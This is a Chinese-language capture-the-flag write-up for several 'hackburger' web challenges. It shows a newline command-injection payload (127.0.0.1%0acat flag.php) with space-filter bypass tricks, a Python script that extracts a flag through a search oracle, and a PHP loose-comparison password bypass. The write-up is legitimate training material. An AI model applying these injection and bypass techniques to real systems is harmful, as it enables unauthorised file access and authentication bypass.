hackburger

hackburger Writeups

一共10道web题,非常有意思: 入口

详见本人的静态博客文章
部分题目思路来自CodeMonster大佬的博客,在此谢过.

Warmup

猜测是命令执行,用%0a做换行操作。
这里列一下绕过空格的技巧${IFS} 或者 <>

127.0.0.1%0als

可以看到:

127.0.0.1%0acat index.php


获取源码,发现没做任何过滤
最后通过

127.0.0.1%0acat flag.php

获得flag

题目有一个输入框,输入f _等各种字符 有机会出现flag.txt,
猜测是通过字符串回显判断文件具体内容
附上脚本:

import requests
import sys
import string
url = 'http://burger.laboratorium.ee:8004/'
password = '_1234567890'+string.letters #Chars
ans = '_'
flag = 0
proxies = {
    'http':None,
    'https':None
}
x = ''  #_1234567890abcdefghilstxABCDEFGHILSTX  看出来对大小写不敏感
def getChar(x):
    for i in password:
        r = requests.post(url,data={'query':i},proxies=proxies)
        if 'flag.txt' in r.text:
            x = x+i
    print x
def right(ans):
    for j in x:
        payload = ans + j
        data={'query':payload}
        r = requests.post(url,data=data,proxies=proxies)
        if 'flag.txt' in r.text and payload != 'flag.txt':
            return ans + j
    return -1
def left(ans):
    for t in x:
        payload = t + ans
        data={'query':payload}
        r = requests.post(url,data=data,proxies=proxies)
        if 'flag.txt' in r.text and payload != 'flag.txt':
            return t + ans 
    return -1
def solve(ans,flag):
    for i in range(0,50):
        if flag == 0:
            if right(ans) == -1:
                flag = 1
            else:
                ans = right(ans)
        else :
            if left(ans) == -1:
                exit()
            else:
                ans = left(ans)
        print ans
        sys.stdout.flush()

if __name__=='__main__':
    getChar(x)
    solve(ans,flag)
#t_h_e__f_l_a_g__i_s__4401ac27ffff3318dc0f6a3de050b4169e2eba97

emmmmmmm对大小写不敏感
结果:

Enter password to get candy

这题就是php中的字符串和0的弱比较问题
搭建本地环境:

 
$a = 0;
$b = "flag?";
if($a==$b){
    echo "true";
}else{
    echo "flase";
}

?>

运行的结果当然是:

改一下post的数据

data="{"password":0}"

即可得到flag:

待续

你可能感兴趣的:(CTF)